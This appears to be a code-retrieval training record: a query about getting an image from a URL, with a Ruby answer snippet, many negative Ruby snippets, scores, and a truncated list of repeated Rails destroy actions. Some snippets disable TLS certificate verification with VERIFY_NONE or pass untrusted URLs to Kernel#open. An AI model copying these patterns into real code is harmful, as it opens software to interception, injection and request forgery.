|format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.78750724", "0.77518034", "0.7713981", "0.7610077", "0.747295", "0.74073994", "0.74073994", "0.7369968", "0.7346072", "0.7340465", "0.7328618", "0.7309635", "0.73095363", "0.7306841", "0.7297868", "0.72917855", "0.7291585", "0.7289111", "0.7284347", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7250935", "0.7245172", "0.7242216", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177", "0.7232177" ]
0.0
-1
helper method to get image from url
def image_from_url io = open(URI.parse(image_url)) def io.original_filename; base_uri.path.split('/').last; end self.image = io.original_filename.blank? ? nil : io rescue # catch url errors with validations instead of exceptions (Errno::ENOENT, OpenURI::HTTPError, etc...) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_image_url (origin_url)\n begin\n html = open(origin_url).read\n urls = URI.extract(html)\n .select { |lnk| lnk[/\\.jpg$|\\.png$|\\.gif$|\\.jpeg/m] }\n return urls.empty? ? nil : urls[0]\n rescue Exception => e\n puts \"[ERROR] in 'DavidGetter#get_image': #{e}\"\n return nil\n end\n end", "def photo_from_url(url)\n end", "def get_image(image_url)\n # Open webpage and obtain HTML\n url = \"https://www.mariowiki.com\" + image_url\n document = Nokogiri::HTML(open(url))\n\n image_element = document.css('div.fullImageLink a')\n image_path = image_element.attr('href').value\n image = \"https://www.mariowiki.com\" + image_path\n\n return image\nend", "def get_file(url); end", "def getStockImage(link)\n dog_page = HTTParty.get(link, :verify => false)\n parsed_dog_page = Nokogiri::HTML(dog_page)\n\n info_table = parsed_dog_page.css(\".biota\")[0]\n \n image = info_table.css(\"img\")[0]\n pic = image != nil ? \"https:#{image['src']}\" : nil\nend", "def display_img_url(url)\n url.sub(/s90$/, 's360') \n # recipe_response = Faraday.get(\"http://api.yummly.com/v1/api/recipe/#{id}\",\n # _app_id: ENV['YUMMLY_APP_ID'],\n # _app_key: ENV['YUMMLY_APP_KEY'])\n # image = JSON.parse(recipe_response.body)['images'].try(:first)\n # image['hostedLargeUrl'].present? ? image['hostedLargeUrl'] : image['hostedMediumUrl'] if image.present?\n end", "def fetchRemoteImage(url)\n uri = ::URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n\n # Switch to HTTPS if necessary.\n if uri.scheme == 'https'\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n # Make the HTTP request.\n response = http.request(Net::HTTP::Get.new(uri.request_uri))\n\n if response.code == \"200\" && response[\"Content-Type\"].match(/^image\\/(.+)$/)\n # Strip the \"image/\" prefix from the content-type.\n return response.body, response[\"Content-Type\"].match(/^image\\/(.+)$/)[1]\n end\n end", "def top_image(url)\n og_image = check_og_image(url)\n apple_image = check_apple_image(url)\n mechanize_search = mechanize_search(url)\n if og_image\n return og_image\n elsif apple_image\n return apple_image\n elsif mechanize_search\n mechanize_search \n # In case all else fails ...\n else\n \"../image-dne.jpg\"\n end\n end", "def image(id, nsfw = false)\n img = get url: \"images/#{id}\", nsfw: nsfw\n img['image'] if img\n end", "def get_image_bytes(url)\n URI.open(url).read\nend", "def get_image_from_google_for(keywords)\n get_link_from_google_for keywords, :image\n rescue Exception\n ''\n end", "def fetch_remote_image(filename)\r\n begin\r\n io = open(URI.parse(filename))\r\n def io.original_filename; base_uri.path.split('/').last; end\r\n return io\r\n rescue OpenURI::HTTPError => error\r\n log(\"Image #{filename} retrival returned #{error.message}, so this image was not imported\")\r\n rescue => error\r\n log(\"Image #{filename} could not be downloaded, so was not imported. #{error.message}\")\r\n end\r\n end", "def download_image(src_url,dest_path)\n content_type = http_content_type(src_url)\n content_type = content_type.gsub(\"image/\", \"\")\n content_type = content_type.gsub(\"pjpeg\",\"jpg\")\n content_type = content_type.gsub(\"jpeg\",\"jpg\")\n vortex_url = download_resource(src_url,dest_path,content_type)\n return vortex_url\nend", "def docGetImagePath(url, dirPath)\n imageFileName = Pathname(url).basename.to_s\n return dirPath + \"images/\" + imageFileName\nend", "def picture_from_url(url) \n self.photo = open(url) \n end", "def image_url_lockerz(link_url)\n response = http_get \"http://api.plixi.com/api/tpapi.svc/json/metadatafromurl?details=false&url=#{link_url}\"\n response[\"BigImageUrl\"] if response\n end", "def get_image\n source_file = Item.new(Path.new(params[:source]+\".\"+params[:type]))\n begin\n send_file source_file.path, :filename => source_file.path.basename.to_s, :type => \"image/#{params[:type]}\"\n rescue \n not_found\n end\n end", "def get_large_image(asset_url)\n begin\n file = open(asset_url)\n doc = Nokogiri::HTML(file) \n# \n# EXPECTED FORMAT\n# \n# <ul class=\"slides\">\n# <li>\n# <img src=\"https://img.homesearch.com/img/20151211/08700ded-e77c-4a44-9366-374e9d8c054f_631x631.jpg\" alt=\"Image #1\" height=\"460\" width=\"631\" />\n# </li>\n# <li>\n# <img class=\"placeholder\" alt=\"Image #1\" height=\"460\" width=\"631\" />\n# </li>\n#</ul> \n \n doc.css('ul.slides li img')[0].attributes['src'].value\n rescue\n ''\n end\n end", "def getimage\n if @artist.images.empty?\n @image = \"image1.jpg\"\n else\n @image = @artist.images.first[\"url\"]\n end\n end", "def getImgURL(title, year)\n title = URI.escape(title + \" \" + year.to_s + \" movie poster\")\n req = \"https://www.googleapis.com/customsearch/v1?key=AIzaSyAyLoJQc-3aOYZLlHff3S4JPmeK88rL878&cx=015799936154194163641:2d_yj8n3fbm&q=\"+title+\"&searchType=image\"#&imgSize=medium\"\n img_results = JSON.parse(@shttp.call(req))\n if img_results && img_results[\"items\"]\n img_results[\"items\"].each do |img_result|\n link = img_result[\"link\"]\n\n begin\n # Return the first link that gives a 200\n if @shttp.head(link) == \"200\"\n return link\n else\n Rails.logger.warn \"Link inaccessible, skipping to next one...\"\n end\n rescue Exception => ex\n Rails.logger.error ex.message\n end\n end\n end\n\n # Return empty string if we don't find anything\n return \"\"\n end", "def image_url\n if image.present?\n image\n else\n \"http://loremflickr.com/320/240/#{CGI.escape name}\"\n end\n end", "def image_url\n image.url.split('?').first if image\n end", "def image_url\n image.url.split('?').first if image\n end", "def load_image(url)\n require 'open-uri'\n temp = Tempfile.new 'split-vertically'\n image = nil\n\n seems_legit = false\n open(temp.path, 'wb') do |file|\n file << open(url).read\n # Images server returns literally \"0\" if no image exists\n seems_legit = file.size > 1\n end\n sleep 0.25 # Let's try to be nice to the images server\n\n Magick::Image.read(temp.path).first if seems_legit\nend", "def image_from_url(url)\n self.image = open(url)\n self.direct_upload_url = \"none\"\n end", "def get_google_img(query)\n img_search_keywords = query.strip.gsub(/\\s+/,'+')\n \n if img_search_keywords != ''\n url = \"http://ajax.googleapis.com/ajax/services/search/images?rsz=large&start=1&v=1.0&q=#{img_search_keywords}\"\n \n json_results = open(url) {|f| f.read };\n results = JSON.parse(json_results)\n image_array = results['responseData']['results']\n image = image_array[0] if image_array\n image = image['tbUrl']\n \n if image\n return image\n else\n return 'no image found'\n end\n end\n end", "def imgurl\n picref.imgurl if picref\n end", "def image_url\n image_uri\n end", "def full_image_uri\n return nil if image.nil?\n return image if image.start_with?('http://')\n return 'http://bookmarket.webhop.org/' + image\n end", "def image_url\n image.url\n end", "def image_from_url(url)\n self.facebookprofile = open(url)\n end", "def image_url\n # It's just stored in public/data/slug.jpg or whatever the relevant file\n # extension is\n image = Dir[\"public/data/#{slug}.*\"].first.split(\"/\").last\n # That's accessed publicly over the website as /data/slug.jpg or whatever\n \"/data/#{image}\"\n end", "def image_url\n Image.find(image_id).url\n end", "def image_url\n return \"\" if @path.nil? || @path.empty?\n \"#{images_scheme}://#{images_host}/\" << if m = /^(pv4|pfk|p7s|p6o|p3w|p7s|p)\\/(.*)$/.match(@path)\n \"p/\" << m[2]\n else\n @path\n end\n end", "def image\n #__log_activity\n # __debug_route\n response = Faraday.get(params[:url]) # TODO: caching\n image_data = Base64.encode64(response.body)\n mime_type = response.headers['content-type']\n render plain: image_data, format: mime_type, layout: false\n end", "def getImage(type = nil)\n image = \"\"\n if !self.photo.blank?\n if !type.nil?\n image = self.photo.url(type)\n else\n image = self.photo.url\n end\n else\n image = \"person-woman-coffee-cup-large.jpg\"\n end # if !self.photo.blank? #\n end", "def get_image\n blog_contents = Nokogiri::HTML(self.content)\n\n if blog_contents.xpath(\"//img\").blank?\n self.post_image = nil\n else\n image_link = blog_contents.xpath(\"//img\")[0]['src']\n\n if image_link.include?(\"http://\")\n self.post_image = File.open(image_link)\n else\n image_link = Dir.pwd.concat(\"/public\" + image_link)\n self.post_image = File.open(image_link)\n end\n end\n\nend", "def image_url_yfrog(link_url)\n response = http_get(\"http://www.yfrog.com/api/oembed?url=#{link_url}\")\n response['url'] if response\n end", "def get_local_image(uri)\n # local?\n return uri unless uri[0,4] == 'http'\n\n ext = uri.split('.').last\n\n img_folder = './tmp/dl_img'\n Dir.mkdir(img_folder) unless Dir.exist?(img_folder)\n\n local_file = \"#{img_folder}/#{Digest::MD5.hexdigest(uri)}.#{ext}\"\n\n # wget is reliable downloader\n `wget -O #{local_file} #{uri}` unless File.exists?(local_file)\n\n local_file\n end", "def get_player_image (page, index)\n photo_downloaded = false\n\n # Attempt to find div that contains image\n\n image_divs = page.css('div.ohio-staff--photo')\n\n # If found, continue\n\n if !image_divs.nil? && !image_divs[0].children.empty?\n\n # Get image text from returned object\n\n image_url = image_divs.to_s\n\n # We only want the url, scan with regex\n\n image_url = image_url.scan /https[a-zA-Z0-9\\-\\/\\.:]*.jpg/\n\n # Only continue at this point if we were able to parse a url\n\n unless image_url.empty?\n\n # Download image file\n\n open(image_url.first) do |image|\n File.open(\"lib/outputs/photos/PlayerPhoto#{index}.jpg\", \"wb\") do |file|\n file.write(image.read)\n end\n end\n photo_downloaded = true\n end\n end\n\n # If we couldn't find, return path to default image. Otherwise return local path\n\n unless photo_downloaded\n return \"photos/default.jpg\"\n end\n\n \"photos/PlayerPhoto#{index}.jpg\"\n\nend", "def extract_image_url(tweet)\n link = extract_link tweet\n find_image_url link\n end", "def find_image_from_link_tag\n begin\n meta = doc.css(\"link[rel~='image_src']\")\n meta.each do |item|\n next if item[\"href\"].empty?\n\n return item[\"href\"]\n end\n rescue\n log \"Error getting link tag: #{$!}\"\n end\n nil\n end", "def image\n #images = Musicbrainz_db.get_cover_art(self.id)[\"images\"]\n\n images = SearchModule.get_cover_art(self.id)\n if images != nil\n return images[\"images\"].first[\"thumbnails\"][\"large\"]\n else\n return 'http://djpunjab.in/cover.jpg'\n end\n end", "def image_url\n\t\t\t@data[\"image\"][\"source\"]\n\t\tend", "def get_random_image( )\n\n print \"getting image... \"\n\n dest_file = \"#{File::SEPARATOR}tmp#{File::SEPARATOR}#{SecureRandom.hex( 5 )}.jpg\"\n Net::HTTP.start( \"lorempixel.com\" ) do |http|\n resp = http.get(\"/640/480/cats/\")\n open( dest_file, \"wb\" ) do |file|\n file.write( resp.body )\n end\n end\n puts \"done\"\n return dest_file\n\n end", "def find_image_url(link)\n url = nil\n if !link.nil?\n url = image_url_instagram link if (link.index('instagr.am') || link.index('instagram.com'))\n url = image_url_picplz link if link.index 'picplz'\n url = image_url_twitpic link if link.index 'twitpic'\n url = image_url_yfrog link if link.index 'yfrog'\n url = image_url_imgly link if link.index 'img.ly'\n url = image_url_tco link if link.index 't.co'\n url = image_url_lockerz link if link.index 'lockerz.com'\n url = image_url_foursquare link if link.index '4sq.com'\n url = image_url_embedly link if url.nil? #just try embed.ly for anything else. could do all image url processing w/ embedly, but there's probably some kind of rate limit invovled.\n end\n url\n end", "def image_url\n self.filename.url \n end", "def get_wikipedia_image_url(wikipedia_url)\n begin\n\n return nil if !wikipedia_url || wikipedia_url.empty?\n\n # Download the wikipedia page\n page = Nokogiri::HTML(open(wikipedia_url))\n\n # Get the image href:\n link = page.css( @settings.image_selector ).first\n return if !link\n image_href = link.attr('href')\n image_href = URI.unescape(image_href)\n # image_href => '/wiki/Archivo:Metallica_at_The_O2_Arena_London_2008.jpg'\n\n # Get the image \"id\":\n slash_idx = image_href.rindex('/')\n return if !slash_idx\n image_id = image_href[ slash_idx + 1 .. -1 ]\n # image_id => 'Archivo:Metallica_at_The_O2_Arena_London_2008.jpg'\n\n # Get the full URL:\n # /w/api.php?action=query&prop=imageinfo&format=json&iiprop=url&titles=Archivo%3AMetallica_at_The_O2_Arena_London_2008.jpg\n image_info = Wikipedia.client.request( {\n action: 'query',\n prop: 'imageinfo',\n iiprop: 'url',\n titles: image_id,\n format: 'json'\n } )\n # result => {\n # \"batchcomplete\": \"\",\n # \"query\": {\n # \"normalized\": [\n # {\n # \"from\": \"Archivo:Metallica_at_The_O2_Arena_London_2008.jpg\",\n # \"to\": \"Archivo:Metallica at The O2 Arena London 2008.jpg\"\n # }\n # ],\n # \"pages\": {\n # \"-1\": {\n # \"ns\": 6,\n # \"title\": \"Archivo:Metallica at The O2 Arena London 2008.jpg\",\n # \"missing\": \"\",\n # \"imagerepository\": \"shared\",\n # \"imageinfo\": [\n # {\n # \"url\": \"https://upload.wikimedia.org/wikipedia/commons/0/07/Metallica_at_The_O2_Arena_London_2008.jpg\",\n # \"descriptionurl\": \"https://commons.wikimedia.org/wiki/File:Metallica_at_The_O2_Arena_London_2008.jpg\"\n # }\n # ]\n # }\n # }\n # }\n # }\n image_info = search = JSON.parse(image_info)\n\n image_url = image_info['query']['pages']['-1']['imageinfo'][0]['url']\n return image_url\n rescue\n Log.log_last_exception\n return nil\n end\n end", "def run\n ::SimpleHttp.get(@url).tap do |response|\n status, headers, blob = *response\n response[2] = Magick::Image.from_blob(blob).first if status == 200\n end\n end", "def image_url\n return @image_url\n end", "def get_image_url(page_doc)\n\timage_url = page_doc.css('body center:nth-child(1) a img')\n\n\tif image_url.nil? or image_url.length == 0\n\t\treturn nil\n\tend\n\n\treturn @base_url + image_url[0][\"src\"]\nend", "def get_search_image(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'File')\n end", "def docGetImageDownloadURL(imgTag)\n srcMatch = imgTag.scan(/src=\"(.*?)\"/)\n if not srcMatch.empty? then \n\tsrc = srcMatch[0][0]\n $lastImageUrl = src # Useful for logging when returning nil below\n if src.start_with?(\"http://www.mosync.com\") then\n return src\n elsif src.start_with?(\"https://raw.github.com\") then\n return src\n elsif src.start_with?(\"http://\") or \n src.start_with?(\"https://\") then\n\t # Return nil here if images from other domains\n\t # should not be downloaded.\n puts \" *** External image: \" + src\n return nil\n elsif src.start_with?(\"/\") then\n # Download from http://www.mosync.com/\n return \"http://www.mosync.com\" + src\n else \n puts \" *** UKNOWN IMAGE SOURCE: \" + src\n end\n end\n return nil\nend", "def picurl\n picurl = object.imgurl\n (picurl.present? && sample_page) ? valid_url(picurl, sample_page) : picurl\n end", "def extract_image(page)\n imgs = page.css('.thumbimage')\n return unless imgs\n img = imgs.reject { |img| img[:src].starts_with? 'data:' }.first\n img[:src]\n end", "def image_url(source)\n abs_path = image_path(source)\n unless abs_path =~ /^http/\n abs_path = \"#{request.protocol}#{request.host_with_port}#{abs_path}\"\n end\n abs_path\n end", "def image_url\n image.url(:medium)\n end", "def img_url(url= \"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR7G9JTqB8z1AVU-Lq7xLy1fQ3RMO-Tt6PRplyhaw75XCAnYvAYxg\")\n self[:img_url] || url\n end", "def imageNameFromUrl(url,idx)\n ImageFinder.nameForImageFromUrl(url,@start_idx,idx)\n end", "def actual_url(url, options = {})\n response = Typhoeus::Request.head(url)\n if response.success?\n url\n elsif response.code == 302 || response.code == 301\n location = response.headers_hash[:location]\n (location =~ fb_ignore_pattern) ? nil : actual_url(location)\n elsif response.timed_out?\n Rails.logger.error(\"time out fetching profile photo from [#{url}]\")\n nil\n elsif response.code == 0\n Rails.logger.error(response.curl_error_message)\n nil\n elsif ((response.code == 403) || (response.code == 404)) && (options[:network] == :twitter)\n # Original size images for twitter may not exist\n Rails.logger.debug(\"Could not find image for twitter, url = #{url}\")\n nil\n else\n Rails.logger.error(\"HTTP request failed: \" + response.code.to_s)\n nil\n end\n end", "def pull_image(value)\n user_hash = pull_records(value)\n id = user_hash[0][\"id\"]\n image_name = user_hash[0][\"image\"]\n image = \"images/uploads/#{id}/#{image_name}\"\nend", "def get_cover_image(book, url)\n if not url.nil?\n name = book.name || \"#{book.series.name} \\##{book.number}\"\n log(\"attempting to retrieve cover art [#{url}]\", :debug)\n cover_image = book.build_cover_image(:uploaded_data => UrlUpload.new(url))\n if cover_image.save\n log(\"successfully added cover art [#{name}]\", :debug)\n else\n log(\"unable to add cover art [#{name}]\", :debug)\n end\n else\n log(\"invalid URL for cover art [#{name}]\", :debug)\n end\n rescue OpenURI::HTTPError\n log(\"cover art not found [#{name}]\", :debug)\n end", "def image_url(path)\n @@image_url_cache ||= {}\n @@image_url_cache[path] ||= client.get_temporary_link(normalize_path(path)).link\n end", "def dl_image (url)\n _filename = @img_path + '/' + url.split('/').last\n begin\n if !File.directory?(@img_path)\n require 'fileutils'\n FileUtils::mkdir_p @img_path\n puts \"[INFO] created path '#{@img_path}'\"\n end\n puts \"[INFO] writing image file '#{_filename}'\"\n File.open(_filename, 'wb') do |file|\n file.write open(url).read\n end\n return _filename\n rescue Exception => e\n puts \"[ERROR] in 'DavidGetter#dl_image': #{e}\"\n end\n return nil\n end", "def file_by_url(url)\n return file_by_id(url_to_id(url))\n end", "def full_img_url\n @full_image_url ||= nil\n if @full_image_url.nil?\n filename = \"#{reg_num}_1.jpg\"\n @full_image_url = File.exist?(\"#{RAILS_ROOT}/public/vehicles/#{filename}\") ? \"http://www.reeds.co.za/vehicles/#{filename}\" : \"\"\n end\n @full_image_url\n end", "def image_url_picplz(link_url)\n id = extract_id link_url\n #try short url\n response = http_get \"http://picplz.com/api/v2/pic.json?shorturl_ids=#{id}\"\n #if short url fails, try long url\n #response = HTTParty.get \"http://picplz.com/api/v2/pic.json?longurl_ids=#{id}\"\n #extract url\n if response && response['value'] && response['value']['pics'] && response['value']['pics'].first && response['value']['pics'].first['pic_files'] && response['value']['pics'].first['pic_files']['640r']\n response['value']['pics'].first['pic_files']['640r']['img_url'] \n else\n nil\n end\n end", "def get_image_url(id, add_params = nil)\n params = {\n id: id,\n }\n api_call('/global/images/:id/url(.:format)',:get,params,add_params)\n end", "def image_data\n response = nil\n\n Net::HTTP.start(SERVICE_HOST) do |http|\n response = http.get(URI.parse(@url).path + ':medium')\n\n if response.code.to_s =~ /\\A3\\d\\d/\n new_location = URI.parse(response['Location'])\n Net::HTTP.start(new_location.host) do |http|\n response = http.get(new_location.path + '?' + new_location.query)\n end\n end\n end\n\n response.body\n end", "def photo_from_url(url)\n\t self.photo = URI.parse(url)\n\tend", "def get_img(coords, mid)\n url = URI(URI.encode(\"http://google.com/movies?near=#{coords[0]}, #{coords[1]}&mid=#{mid}\"))\n\n\n doc_str = Net::HTTP.get(url)\n doc = Nokogiri::HTML(doc_str)\n\n#working here\n str = nil\n if doc.css('.img img').empty?\n return nil\n else\n str = doc.css('.img img').attr('src').to_s\n if str.include?('tbn')\n return str\n end\n end\n return nil\n end", "def grab_the_images\n get_the_url = RestClient.get(@url)\n doc = Nokogiri::HTML(get_the_url)\n images = doc.search('img').map{ |img| img['src'] }\n images\n end", "def image\n if !self.extend_url.blank?\n self.qrcode\n elsif self.page_content.try(:content) =~ /<img\\s+.*src\\s*=\\s*\"(.*\\.(?:jpg|png|gif))\"/i\n $1\n else\n \"/assets/avatar.jpg\"\n end\n end", "def maiko_image_for(url, format)\n return \"#\" if url.nil? || format.nil?\n\n re = /\\/(?=[^\\/]*$).*\\..*/\n [url.gsub(re, ''), format].join('/')\n end", "def io_from_url(img)\n StringIO.new(Faraday.new(img).get.body)\n end", "def getImg(width=64, height=64)\n if self.image\n self.image+\"?width=#{width}&height=#{height}\"\n else\n \"no_image.png\"\n end\n end", "def get_file(url)\n get(url).body\n end", "def cover_thumb_url\n images('thumb').first[:src]\n end", "def url(size = default_style)\n image_id = instance.send(\"#{name}_#{:file_name}\")\n\n return @url_generator.for(size, {}) if image_id.nil? || image_id.empty? # Show Paperclip's default missing image path\n\n Imgurapi::Image.new(id: image_id).url(size: size, use_ssl: imgur_session.use_ssl?)\n end", "def get_image\n\n user = @login_user\n\n if user.nil?\n user = DesktopsHelper.get_user_before_login\n end\n\n desktop = Desktop.get_for(user, true)\n\n if desktop.nil?\n render(:text => '')\n return\n end\n\n response.headers[\"Content-Type\"] = desktop.img_content_type\n response.headers[\"Content-Disposition\"] = \"inline\"\n render(:text => desktop.img_content)\n end", "def image_url(image_id)\n uri = \"#{@api_url}/#{@project_id}/images/#{image_id}?access_token=#{@access_token}\"\n result = get uri\n result['ok'] ? result['result']['url'] : false\n end", "def image_url(page, image_src)\r\n image_uri = URI.parse(image_src)\r\n if image_uri.absolute?\r\n image_uri\r\n elsif image_uri.relative?\r\n root = URI::Generic.build :scheme => page.url.scheme, :host => page.url.host \r\n URI.join root.to_s, image_uri.to_s\r\n else\r\n raise BasiliskImageError, \"Could not parse image src.\"\r\n end\r\n rescue\r\n raise BasiliskImageError, \"Could not parse image src.\"\r\n end", "def image_url(ver)\n url_for_file_column(self, \"image\", ver)\n end", "def image_url\n rails_blob_url(object.image)\n # This helper gets the URL from the file we pass to it\n end", "def image_url\n return unless image.attached?\n\n url_for(image)\n end", "def findThumbnailImageURL\n unless @doc.present?\n Rails.logger.info \"RecipeParser.findThumbnailImageURL: document not initialized\"\n return nil\n end\n\n # meta tags to tell social media which image to use for links in order of importance\n # Reference: https://moz.com/blog/meta-data-templates-123\n metaTagsLookingFor = [\"meta[property='og:image:secure_url']\", \"meta[property='og:image']\", \"meta[itemprop='image']\", \"meta[name='twitter:image:src']\", \"link[rel='image_src']\", \"a[rel='image_src']\"]\n\n metaTagsLookingFor.each do |metaTag|\n node = @doc.at_css(metaTag)\n if node != nil\n imageURL = node.attribute('content') || note.attribute('href')\n Rails.logger.info \"RecipeParser.findThumbnailImageURL: found image thumbnail #{imageURL}\"\n return imageURL\n end\n end\n\n #TODO: Find image if page does not use social media meta.\n\n Rails.logger.info \"RecipeParser.findThumbnailImageURL: unable to find thumbnail image URL\"\n return nil\n end", "def get_image_profile_pic\n last_pic = images.where(\"kind = ?\", \"profile_pic\").last\n\n if last_pic.nil?\n return \"/assets/octacat-resized.png\"\n else\n last_pic.url\n end\n end", "def get_img_url_from_html(html_path)\n\t\tf = File.open(html_path)\n\t\tdoc = Nokogiri::HTML(f)\n\t\timg_url = doc.css('img').attribute('src').value\n\t\tf.close\n\t\timg_url\n\tend", "def user_calendar_image\n url = self.gravatar_url(:size => 40,\n :default => 404)\n\n response = HTTParty.get(url)\n response.code == 404 ? 404 : url\n end", "def picture\n\t\tbegin\n\t\t\tcase provider\n\t\t\twhen \"facebook\"\n\t\t\t\tresponse = get(\"/me/picture?type=large&redirect=false\")\n\t\t\t\treturn response['data']['url']\n\t\t\t\t\n\t\t\twhen \"twitter\"\n\t\t\t\tresponse = get(\"/1.1/users/show.json?user_id=#{uid}\")\n\t\t\t\treturn response['profile_image_url_https']\n\t\t\t\t\n\t\t\twhen \"google_oauth2\"\n\t\t\t\tresponse = get(\"/oauth2/v1/userinfo\")\n\t\t\t\treturn response['picture'] if response['picture']\n\t\t\t\t\n\t\t\twhen \"myspace\"\n\t\t\t\tresponse = get(\"/v1.0/people/@me\")\n\t\t\t\treturn response['thumbnailUrl'] if response['thumbnailUrl']\n\t\t\t\t\n\t\t\twhen \"vimeo\"\n\t\t\t\tresponse = get(\"/api/v2/#{uid}/info.json\")\n\t\t\t\treturn response['portrait_medium']\n\t\t\t\t\n\t\t\twhen \"yahoo\"\n\t\t\t\tresponse = get(\"/v1/user/#{uid}/profile/tinyusercard\")\n\t\t\t\treturn response['profile']['image']['imageUrl']\n\t\t\t\t\n\t\t\twhen \"vkontakte\"\n\t\t\t\tresponse = get(\"api.php?method=getProfiles?uids=#{uid}&fields=photo_medium\")\n\t\t\t\treturn response['Response'][0]['Photo']\n\t\t\t\t\n\t\t\twhen \"lastfm\"\n\t\t\t\tresponse = get(\"/2.0/?method=user.getinfo&format=json&user=#{uid}&api_key=#{creds['id']}\")\n\t\t\t\treturn response['user']['image'][1]['#text']\n\t\t\t\t\n\t\t\twhen \"linkedin\"\n\t\t\t\tresponse = get(\"/v1/people/~\")\n\t\t\t\tlogger.debug response.inspect\n\t\t\t\t#return ???\n\t\t\t\t\n\t\t\twhen \"windowslive\"\n\t\t\t\tresponse = get(\"/v5.0/me/picture?access_token=#{access_token}\")\n\t\t\t\treturn response['person']['picture_url']\n\t\t\t\t\n\t\t\tend\n\t\trescue StandardError => e\n\t\t\tlogger.debug \"error fetching pictures from #{provider}\"\n\t\t\tlogger.debug e.to_yaml\n\t\tend\n\t\treturn nil\n\tend", "def url(options = {})\n image = image_file\n\n raise MissingImageFileError, \"Missing image file for #{inspect}\" if image.nil?\n\n image = processed_image(image, options)\n image = encoded_image(image, options)\n\n image.url(options.except(*TRANSFORMATION_OPTIONS).merge(name: name))\n rescue MissingImageFileError, WrongImageFormatError => e\n log_warning e.message\n nil\n end", "def photo_url\n src = details.at('#img_primary img')['src'] rescue nil\n\n if src =~ /^(http:.+@@)/ || src =~ /^(http:.+?)\\.[^\\/]+$/\n $1 + '.jpg'\n end\n end", "def primary_image\n if images.length > 0\n images[0].url\n else\n \"https://vollrath.com/ClientCss/images/VollrathImages/No_Image_Available.jpg\"\n end\n end", "def imgurl\n return url unless fake_url?\n # The more complicated case: we have an IR with image data, but no URL.\n # So we lookup the corresponding URL on AWS. If it exists, we return that;\n # Otherwise, we CREATE it on AWS first, then return it.\n #\n # Does the resource exist? If so, we just return the link\n path = \"uploads/reference/#{id}.png\"\n obj = S3_BUCKET.objects[path]\n unless obj.exists?\n puts 'Creating AWS file ' + path\n # The nut of the problem: take the image in the thumbdata, upload it to aws, and return the link\n b64 = thumbdata.sub 'data:image/png;base64,', ''\n img = Magick::Image.read_inline(b64).first\n S3_BUCKET.objects[path].write img.to_blob, {:acl => :public_read}\n end\n obj.public_url.to_s\n end", "def get_image(image_id)\n get(\"cloud-instances/#{guid}/images/#{image_id}\")\n rescue\n nil\n end", "def url() processed_image.try(:url) || fallback_url end", "def image_url\n model.image_url.presence || h.asset_path('face.jpg')\n end", "def image_url\n is_processed ?\n FileSystem.url(image_path) : \n orig_image_url\n end", "def image_url\n is_processed ?\n FileSystem.url(image_path) : \n orig_image_url\n end", "def get_image(image_id)\n request(\n :expects => 200,\n :method => 'GET',\n :parser => Fog::Parsers::Compute::Slicehost::GetImage.new,\n :path => \"images/#{image_id}.xml\"\n )\n end" ]
